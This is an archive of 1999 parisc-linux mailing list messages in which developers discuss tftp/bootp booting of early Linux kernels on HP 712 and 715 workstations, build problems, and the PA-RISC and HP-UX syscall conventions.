	for <parisc-linux@puffin.external.hp.com>; Fri, 23 Jul 1999 23:45:35 -0600
Original-Received: (qmail 8621 invoked by uid 15267); 24 Jul 1999 05:46:37 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 8611 invoked from network); 24 Jul 1999 05:46:37 -0000
Original-Received: from supserv.support.redhat.com (207.175.42.159)
  by mailserv2.iuinc.com with SMTP; 24 Jul 1999 05:46:37 -0000
Original-Received: from localhost (mgalgoci@localhost)
	by supserv.support.redhat.com (8.8.7/8.8.7) with ESMTP id BAA18699
	for <parisc-linux@thepuffingroup.com>; Sat, 24 Jul 1999 01:46:20 -0400
Xref: news.gmane.org gmane.linux.ports.parisc:9758


Wheee. I finally got my lazy butt around to setting up my 
712 so that I can tftp boot it.

Everything looks ok. Cows are flying.  

Puffin: did you get your 712 yet ?

--Matt



From - Thu Nov 08 21:15:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Trent <term@linux.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Wheeee. 712/60 looking good
Date: Sat, 24 Jul 1999 03:06:53 -0700
Lines: 46
Approved: news@gmane.org
Message-ID: <19990724030653.A3051@yavin4.staticky.com>
References: <Pine.LNX.4.10.9907240140010.18626-100000@supserv.support.redhat.com>
Reply-To: term@linux.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; boundary=17pEHd4RhPHOinZp; micalg=pgp-md5;
	protocol="application/pgp-signature"
X-Trace: ger.gmane.org 1416619710 13066 80.91.229.3 (22 Nov 2014 01:28:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:30 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: term@piguy.staticky.com  Sat Jul 24 04:42:17 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id EAA12629
	for <parisc-linux@puffin.external.hp.com>; Sat, 24 Jul 1999 04:42:16 -0600
Original-Received: (qmail 2638 invoked by uid 15267); 24 Jul 1999 10:43:22 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 2631 invoked from network); 24 Jul 1999 10:43:21 -0000
Original-Received: from wormhole-a68.myhome.net (HELO piguy) (term@206.129.152.137)
  by mailserv2.iuinc.com with SMTP; 24 Jul 1999 10:43:21 -0000
Original-Received: by piguy.staticky.com
	via sendmail from stdin
	id <m117yhh-000pgoC@piguy> (Debian Smail3.2.0.102)
	for parisc-linux@thepuffingroup.com; Sat, 24 Jul 1999 03:06:53 -0700 (PDT) 
Mail-Followup-To: parisc-linux@thepuffingroup.com
X-Mailer: Mutt 0.95.4i
In-Reply-To: <Pine.LNX.4.10.9907240140010.18626-100000@supserv.support.redhat.com>; from mgalgoci@redhat.com on Sat, Jul 24, 1999 at 01:46:20AM -0400
Xref: news.gmane.org gmane.linux.ports.parisc:9759


--17pEHd4RhPHOinZp
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: quoted-printable

On Sat, Jul 24, 1999 at 01:46:20AM -0400, mgalgoci@redhat.com wrote:
>=20
> Wheee. I finally got my lazy butt around to setting up my=20
> 712 so that I can tftp boot it.
>=20
> Everything looks ok. Cows are flying. =20
>=20
> Puffin: did you get your 712 yet ?
>=20
> --Matt

I just obtained a 712/60 and figured out bootp/tftp, and "Image-19990705" w=
orks
here as well.

Looking forward to actually using this thing! The hard drive came wiped, as=
 per
HP's orders, from GE via a local computer junk store; and the MkLinux port =
has,
well, issues. =3D)

My thanks to everyone involved in this porting project.
--=20
| Matthew Trent  |Unix Systems Administrator/Linux.com Project Manager |
| term@linux.com |  http://linux.com/  -  A Means to World Liberation  |
| Key fingerprint =3D E806 FC2F 27A8 A326 C4CA  36B9 4A40 FF6C 1D95 D32D |

--17pEHd4RhPHOinZp
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v0.9.7 (GNU/Linux)
Comment: For info see http://www.gnupg.org

iD8DBQE3mZA9SkD/bB2V0y0RAWdjAJ0Yzr6gpzhUqlV5NlE25HtSiGVi0ACgzH89
hiCl6KqMCEjUU0YzEIMVfD4=
=5XJn
-----END PGP SIGNATURE-----

--17pEHd4RhPHOinZp--


From - Thu Nov 08 21:15:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: valery brasseur <vbrasseur@atos-group.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] howto boot test kernel
Date: Tue, 27 Jul 1999 14:27:43 +0200
Organization: Atos Multimedia
Lines: 14
Approved: news@gmane.org
Message-ID: <379DA5BF.1B620A9E@atos-group.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619710 13067 80.91.229.3 (22 Nov 2014 01:28:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:30 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: vbrasseur@atos-group.com  Tue Jul 27 06:27:00 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id GAA20125
	for <parisc-linux@puffin.external.hp.com>; Tue, 27 Jul 1999 06:26:59 -0600
Original-Received: (qmail 32763 invoked by uid 15267); 27 Jul 1999 12:28:13 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 32755 invoked from network); 27 Jul 1999 12:28:12 -0000
Original-Received: from atn01.axime.com (160.92.1.141)
  by mailserv2.iuinc.com with SMTP; 27 Jul 1999 12:28:12 -0000
Original-Received: from atos-group.com (sys-pc21.segin.com [172.18.2.119])
	by atn01.axime.com (8.8.8/8.8.8[Atos Multimedia]) with ESMTP id OAA12792
	for <parisc-linux@thepuffingroup.com>; Tue, 27 Jul 1999 14:27:43 +0200 (MET DST)
Original-Sender: vbr@atos-group.com
X-Mailer: Mozilla 4.61 [en] (X11; I; Linux 2.2.5-15 i686)
X-Accept-Language: en, fr-FR
Xref: news.gmane.org gmane.linux.ports.parisc:9760

I have on old 712, I would like to make a try to linux kernel.
What did I need and how to setup things for booting the kernel, and
maybe giving some help on developpment.( I have other stations/server
under HPUX 10.20 where I can put a developement env?)

Thanks in advance.

-- 
Valery BRASSEUR                | Phone # +33 320 60 7982 
Atos Branche Multimedia        | Fax   # +33 320 60 7649

Hi! I'm a .signature virus! Copy me into your ~/.signature to help me
spread!


From - Thu Nov 08 21:15:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ingo Matthaes <imatthae@grcbd508.grc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] howto boot test kernel
Date: Tue, 27 Jul 1999 14:45:17 +0200
Lines: 23
Approved: news@gmane.org
Message-ID: <19990727144517.A26280@grcbd508.grc.hp.com>
References: <379DA5BF.1B620A9E@atos-group.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619710 13071 80.91.229.3 (22 Nov 2014 01:28:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:30 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: imatthae@grcbd508.grc.hp.com  Tue Jul 27 06:44:45 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id GAA20361
	for <parisc-linux@puffin.external.hp.com>; Tue, 27 Jul 1999 06:44:45 -0600
Original-Received: (qmail 2839 invoked by uid 15267); 27 Jul 1999 12:45:59 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 2832 invoked from network); 27 Jul 1999 12:45:58 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 27 Jul 1999 12:45:58 -0000
Original-Received: from grcbd508.grc.hp.com (root@grcbd508.grc.hp.com [15.139.203.207])
	by palrel3.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id FAA15877
	for <parisc-linux@thepuffingroup.com>; Tue, 27 Jul 1999 05:45:27 -0700 (PDT)
Original-Received: (from imatthae@localhost)
	by grcbd508.grc.hp.com (8.9.3/8.9.3) id OAA26365
	for parisc-linux@thepuffingroup.com; Tue, 27 Jul 1999 14:45:18 +0200
Mail-Followup-To: parisc-linux@thepuffingroup.com
X-Mailer: Mutt 0.95.4i
In-Reply-To: <379DA5BF.1B620A9E@atos-group.com>; from valery brasseur on Tue, Jul 27, 1999 at 02:27:43PM +0200
Xref: news.gmane.org gmane.linux.ports.parisc:9761

On Tue, Jul 27, 1999 at 02:27:43PM +0200, valery brasseur wrote:
> I have on old 712, I would like to make a try to linux kernel.
> What did I need and how to setup things for booting the kernel, and
> maybe giving some help on developpment.( I have other stations/server
> under HPUX 10.20 where I can put a developement env?)

I've tried it successfully on my 715/33 using a bootp server.
Just use the cvs-linux tree, install gcc-2.8.1 or whatever with
binutils and GNU make.
For make menuconfig you have to install ncurses too.
Just type make dep boot and copy linux/arch/parisc/boot/Image to
the path specified in bootptab and thats it.

  Ingo

P.S. dd if=Image of=/dev/rdsk/blafasel works too, but the first
     solution is more useful :-) 

-- 
Ingo Matthaes
HP-UX Net und Linux Support
HP Support Center Ratingen


From - Thu Nov 08 21:15:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "mgalgoci@redhat.com" <mgalgoci@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] howto boot test kernel
Date: Tue, 27 Jul 1999 11:14:50 -0400 (EDT)
Lines: 40
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.10.9907271109070.6864-100000@skuzzlebutt.support.redhat.com>
References: <379DA5BF.1B620A9E@atos-group.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619711 13077 80.91.229.3 (22 Nov 2014 01:28:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:31 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: valery brasseur <vbrasseur@atos-group.com>
Original-X-From: mgalgoci@redhat.com  Tue Jul 27 09:12:11 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id JAA20687
	for <parisc-linux@puffin.external.hp.com>; Tue, 27 Jul 1999 09:12:10 -0600
Original-Received: (qmail 31616 invoked by uid 15267); 27 Jul 1999 15:13:24 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 31609 invoked from network); 27 Jul 1999 15:13:24 -0000
Original-Received: from skuzzlebutt.support.redhat.com (207.175.42.108)
  by mailserv2.iuinc.com with SMTP; 27 Jul 1999 15:13:24 -0000
Original-Received: from localhost (mgalgoci@localhost)
	by skuzzlebutt.support.redhat.com (8.9.3/8.9.3) with ESMTP id LAA06915;
	Tue, 27 Jul 1999 11:14:50 -0400
In-Reply-To: <379DA5BF.1B620A9E@atos-group.com>
Xref: news.gmane.org gmane.linux.ports.parisc:9762



Here is how I did it:

	1) Uncomment tftp in /etc/inetd.conf

	2) Grab the kernel image and put it in /tftpboot

	3) Set up a bootp server that also specifes the name of the 
	kernel image to boot. To do this, I used dhcpd and used the
	dynamic-bootp modifier in the config file.

I also had to re-build dhcpd. It would not work on my system running the 
2.3.10 kernel.

But it worked ;)

--Matt

On Tue, 27 Jul 1999, valery brasseur wrote:

> I have on old 712, I would like to make a try to linux kernel.
> What did I need and how to setup things for booting the kernel, and
> maybe giving some help on developpment.( I have other stations/server
> under HPUX 10.20 where I can put a developement env?)
> 
> Thanks in advance.
> 
> -- 
> Valery BRASSEUR                | Phone # +33 320 60 7982 
> Atos Branche Multimedia        | Fax   # +33 320 60 7649
> 
> Hi! I'm a .signature virus! Copy me into your ~/.signature to help me
> spread!
> 
> ---------------------------------------------------------------------------
> To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with
> `unsubscribe' as the subject.
> 


From - Thu Nov 08 21:15:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Lyonel VINCENT <lyonel_vincent@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] building IPL...
Date: Wed, 28 Jul 1999 20:57:38 +0200
Organization: Hewlett-Packard Company
Lines: 19
Approved: news@gmane.org
Message-ID: <379F52A1.4BB9F81D@hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416619711 13087 80.91.229.3 (22 Nov 2014 01:28:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:31 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: lyonel_vincent@hp.com  Wed Jul 28 12:58:22 1999
Original-Received: from mailserv2.iuinc.com (mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id MAA22408
	for <parisc-linux@puffin.external.hp.com>; Wed, 28 Jul 1999 12:58:22 -0600
Original-Received: (qmail 25421 invoked by uid 15267); 28 Jul 1999 18:59:09 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 25410 invoked from network); 28 Jul 1999 18:59:08 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 28 Jul 1999 18:59:08 -0000
Original-Received: from concerto.grenoble.hp.com (root@concerto.grenoble.hp.com [15.128.15.118])
	by palrel3.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id LAA21496
	for <parisc-linux@thepuffingroup.com>; Wed, 28 Jul 1999 11:58:30 -0700 (PDT)
Original-Received: from hp.com (baobab.grenoble.hp.com [15.128.133.193])
	by concerto.grenoble.hp.com (8.8.6 (PHNE_17135)/8.8.6 TIS Openmail) with ESMTP id UAA20656
	for <parisc-linux@thepuffingroup.com>; Wed, 28 Jul 1999 20:58:25 +0200 (METDST)
Original-Sender: support@concerto.grenoble.hp.com
X-Mailer: Mozilla 4.6 [en] (X11; I; HP-UX B.10.20 9000/780)
X-Accept-Language: French, fr, en
X-MIME-Autoconverted: from base64 to 8bit by puffin.external.hp.com id MAA22408
Xref: news.gmane.org gmane.linux.ports.parisc:9763

Hi all,

I'm new to this list and I would want to tell you that if you need a
dumb user to test your kernels, I have some systems roaming around which
could do (C-class, D-class, G-class, K-class, 705, 712, 735). These are
test systems and I can reboot them without any problem.

Lyonel.

PS: you've already done a great job ! keep it moving
PPS: I've just built the latest snapshot and my 712 doesn't seem to like
it... (btw, the 05/07 image works well and correctly detects the
CPU/frequency/memory...)

--
Lyonel VINCENT - 779-6736
Smart Card Center, Grenoble, FR



From - Thu Nov 08 21:15:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <prumpf@suse.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] building IPL...
Date: Wed, 28 Jul 1999 21:21:24 +0200
Lines: 15
Approved: news@gmane.org
Message-ID: <19990728212124.M21585@suse.de>
References: <379F52A1.4BB9F81D@hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619711 13091 80.91.229.3 (22 Nov 2014 01:28:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:31 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Lyonel VINCENT <lyonel_vincent@hp.com>
Original-X-From: prumpf@suse.de  Wed Jul 28 13:20:36 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id NAA22693
	for <parisc-linux@puffin.external.hp.com>; Wed, 28 Jul 1999 13:20:36 -0600
Original-Received: (qmail 31249 invoked by uid 15267); 28 Jul 1999 19:21:47 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 31242 invoked from network); 28 Jul 1999 19:21:46 -0000
Original-Received: from cantor.suse.de (194.112.123.193)
  by mailserv2.iuinc.com with SMTP; 28 Jul 1999 19:21:46 -0000
Original-Received: from Galois.suse.de (Galois.suse.de [194.112.123.130])
	by Cantor.suse.de (Postfix) with ESMTP
	id 453C232CEF; Wed, 28 Jul 1999 21:21:25 +0200 (MEST)
Original-Received: from Wotan.suse.de (Wotan.suse.de [10.10.0.1])
	by Galois.suse.de (Postfix) with ESMTP
	id EC93467B1; Wed, 28 Jul 1999 21:21:24 +0200 (MEST)
Original-Received: by Wotan.suse.de (Postfix, from userid 0)
	id 9A0057F8B; Wed, 28 Jul 1999 21:21:24 +0200 (MEST)
X-Mailer: Mutt 0.95.4i
In-Reply-To: <379F52A1.4BB9F81D@hp.com>; from Lyonel VINCENT on Wed, Jul 28, 1999 at 08:57:38PM +0200
Xref: news.gmane.org gmane.linux.ports.parisc:9764

> I'm new to this list and I would want to tell you that if you need a
> dumb user to test your kernels, I have some systems roaming around which
> could do (C-class, D-class, G-class, K-class, 705, 712, 735). These are
> test systems and I can reboot them without any problem.

Great.  Do you have something set up to boot all of the PA1.1 ones and see
which one come through and where those that don't hang ?

> PPS: I've just built the latest snapshot and my 712 doesn't seem to like
> it... (btw, the 05/07 image works well and correctly detects the
> CPU/frequency/memory...)

I think you ran into our slightly broken Dino detection code. Try to disable
all dino support for the build.


From - Thu Nov 08 21:15:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <Matthew.Wilcox@genedata.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] looking for something to do?
Date: Sat, 31 Jul 1999 19:44:05 +0200
Lines: 22
Approved: news@gmane.org
Message-ID: <19990731194405.U25925@mencheca.ch.genedata.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619712 13097 80.91.229.3 (22 Nov 2014 01:28:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:32 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: Matthew.Wilcox@genedata.com  Sat Jul 31 11:43:10 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id LAA29911
	for <parisc-linux@puffin.external.hp.com>; Sat, 31 Jul 1999 11:43:09 -0600
Original-Received: (qmail 11652 invoked by uid 15267); 31 Jul 1999 17:44:34 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 11634 invoked from network); 31 Jul 1999 17:44:33 -0000
Original-Received: from mentolat-e0.core.genedata.com (HELO mail.core.genedata.com) (157.161.173.16)
  by mailserv2.iuinc.com with SMTP; 31 Jul 1999 17:44:33 -0000
Original-Received: from relay.ch.genedata.com (pinatubo-e0.ch.genedata.com [157.161.173.48])
	by mail.core.genedata.com (8.9.3/8.9.3) with ESMTP id TAA29991
	for <parisc-linux@thepuffingroup.com>; Sat, 31 Jul 1999 19:44:07 +0200
Original-Received: from mencheca.ch.genedata.com (root@mencheca.ch.genedata.com [157.161.173.82])
	by relay.ch.genedata.com (8.9.3/8.9.3) with ESMTP id TAA572889
	for <parisc-linux@thepuffingroup.com>; Sat, 31 Jul 1999 19:44:06 +0200 (CEST)
Original-Received: by genedata.com
	via sendmail from stdin
	id <m11AdAz-00025qC@mencheca.ch.genedata.com> (Debian Smail3.2.0.102)
	for parisc-linux@thepuffingroup.com; Sat, 31 Jul 1999 19:44:05 +0200 (CEST) 
X-Mailer: Mutt 0.95.3i
Xref: news.gmane.org gmane.linux.ports.parisc:9765


I know there are some people sitting around who'd like to help with this
project, but feel they are insufficiently able.  I have a task here which
requires almost no prior knowledge, just some time.  As an added bonus,
you'll gain some experience and knowledge.  What I need is a table which
has the entry points for HPUX syscalls.

Take a look at arch/parisc/kernel/entry.S which has the linux syscalls in
it, copy it to hpux_entry.S and modify it to have HPUX syscalls instead
(the numbers are in include/asm-parisc/unistd.h).  Use the relevant linux
syscalls where they are _identical_.  That means parameters and behaviour.
Where they are not, some glue code must be written to mangle the hpux
parameters into those that Linux is expecting.  If you're interested,
drop me a mail to let me know you're doing it, and I'll give you a hand
if you get stuck.

-- 
Matthew Wilcox <willy@bofh.ai>
"Windows and MacOS are products, contrived by engineers in the service of
specific companies. Unix, by contrast, is not so much a product as it is a
painstakingly compiled oral history of the hacker subculture." - N Stephenson


From - Thu Nov 08 21:15:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <Matthew.Wilcox@genedata.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] HPUX syscall ABI?
Date: Sun, 1 Aug 1999 21:50:01 +0200
Lines: 22
Approved: news@gmane.org
Message-ID: <19990801215001.W25925@mencheca.ch.genedata.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619712 13103 80.91.229.3 (22 Nov 2014 01:28:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:32 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: Matthew.Wilcox@genedata.com  Sun Aug  1 13:49:10 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id NAA31294
	for <parisc-linux@puffin.external.hp.com>; Sun, 1 Aug 1999 13:49:09 -0600
Original-Received: (qmail 19744 invoked by uid 15267); 1 Aug 1999 19:50:34 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 19733 invoked from network); 1 Aug 1999 19:50:33 -0000
Original-Received: from mentolat-e0.core.genedata.com (HELO mail.core.genedata.com) (157.161.173.16)
  by mailserv2.iuinc.com with SMTP; 1 Aug 1999 19:50:33 -0000
Original-Received: from relay.ch.genedata.com (pinatubo-e0.ch.genedata.com [157.161.173.48])
	by mail.core.genedata.com (8.9.3/8.9.3) with ESMTP id VAA00110
	for <parisc-linux@thepuffingroup.com>; Sun, 1 Aug 1999 21:50:03 +0200
Original-Received: from mencheca.ch.genedata.com (root@mencheca.ch.genedata.com [157.161.173.82])
	by relay.ch.genedata.com (8.9.3/8.9.3) with ESMTP id VAA601370
	for <parisc-linux@thepuffingroup.com>; Sun, 1 Aug 1999 21:50:02 +0200 (CEST)
Original-Received: by genedata.com
	via sendmail from stdin
	id <m11B1cP-0002JoC@mencheca.ch.genedata.com> (Debian Smail3.2.0.102)
	for parisc-linux@thepuffingroup.com; Sun, 1 Aug 1999 21:50:01 +0200 (CEST) 
X-Mailer: Mutt 0.95.3i
Xref: news.gmane.org gmane.linux.ports.parisc:9766


I've just redefined the Linux syscall ABI again so we can
handle sys_mmap (which takes 6 arguments) cleanly.  I'm now
wondering what the HPUX syscall standard is.  I've searched
http://docs.hp.com:80/dynaweb/hpux11/dtdcen1a/b821/@Generic__BookView
(as mentioned earlier on this mailing list) without success.

For those interested; Linux syscalls now take the syscall number in r20,
take arguments in r26-r21, zero r1, r19-r26, r29 and r31 on exit, preserve
r3-r18, r27(dp) and r30(sp), clobber r2 and return the result in r28.
If it's in the range [-1024,0) then that's an error code, otherwise it's
the result.

ObRant: Why on earth define a register to be caller-saves but not allow it
to contain an argument?  Why force it onto the stack?

-- 
Matthew Wilcox <willy@bofh.ai>
"Windows and MacOS are products, contrived by engineers in the service of
specific companies. Unix, by contrast, is not so much a product as it is a
painstakingly compiled oral history of the hacker subculture." - N Stephenson


From - Thu Nov 08 21:15:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "M. Adam Kendall" <mak@kha0s.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Kernel images
Date: Sun, 01 Aug 1999 22:04:23 -0400 (EDT)
Organization: Gotham City Crime Bosses, Inc.
Lines: 20
Approved: news@gmane.org
Message-ID: <199908020159.VAA06171@mail.roava.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416619712 13109 80.91.229.3 (22 Nov 2014 01:28:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:32 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: mak@kha0s.org  Sun Aug  1 19:57:48 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id TAA31836
	for <parisc-linux@puffin.external.hp.com>; Sun, 1 Aug 1999 19:57:47 -0600
Original-Received: (qmail 21051 invoked by uid 15267); 2 Aug 1999 01:59:15 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 21044 invoked from network); 2 Aug 1999 01:59:15 -0000
Original-Received: from unknown (HELO mail.roava.net) (root@209.54.158.4)
  by mailserv2.iuinc.com with SMTP; 2 Aug 1999 01:59:15 -0000
Original-Received: from iguanas.live.in.kha0s.org (joker@beerman.penguinpub.com [209.54.158.50])
	by mail.roava.net (8.9.1/8.9.1) with ESMTP id VAA06171
	for <parisc-linux@thepuffingroup.com>; Sun, 1 Aug 1999 21:59:04 -0400
X-Mailer: XFMail 1.3 [p0] on Linux
X-Priority: 3 (Normal)
Xref: news.gmane.org gmane.linux.ports.parisc:9767

Hello all,

As I understand that the cross compiling of the
kernel doesn't quite work right, is there someone
that is compiling the latest CVS kernel images
and putting them somewhere?

The last image I could find is the one from 
19990705 (which does boot on my 715/75 just 
great).  I would love to be able to keep up with
the CVS images.

I would compile these myself, but I don't happen
to have HPUX on this machine (the drive came
wiped)

Thanks,
Adam
l


From - Thu Nov 08 21:15:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <prumpf@suse.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HPUX syscall ABI?
Date: Mon, 2 Aug 1999 05:32:39 +0200
Lines: 13
Approved: news@gmane.org
Message-ID: <19990802053239.N13236@suse.de>
References: <19990801215001.W25925@mencheca.ch.genedata.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619713 13114 80.91.229.3 (22 Nov 2014 01:28:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:33 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Matthew Wilcox <Matthew.Wilcox@genedata.com>
Original-X-From: prumpf@suse.de  Sun Aug  1 21:31:57 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id VAA32201
	for <parisc-linux@puffin.external.hp.com>; Sun, 1 Aug 1999 21:31:57 -0600
Original-Received: (qmail 5576 invoked by uid 15267); 2 Aug 1999 03:33:09 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 5568 invoked from network); 2 Aug 1999 03:33:09 -0000
Original-Received: from cantor.suse.de (194.112.123.193)
  by mailserv2.iuinc.com with SMTP; 2 Aug 1999 03:33:09 -0000
Original-Received: from Galois.suse.de (Galois.suse.de [194.112.123.130])
	by Cantor.suse.de (Postfix) with ESMTP
	id 804A632CDB; Mon, 02 Aug 1999 05:32:43 +0200 (MEST)
Original-Received: from Wotan.suse.de (Wotan.suse.de [10.10.0.1])
	by Galois.suse.de (Postfix) with ESMTP
	id 95DAD6903; Mon,  2 Aug 1999 05:32:42 +0200 (MEST)
Original-Received: by Wotan.suse.de (Postfix, from userid 0)
	id 2E0D47F8B; Mon,  2 Aug 1999 05:32:40 +0200 (MEST)
X-Mailer: Mutt 0.95.4i
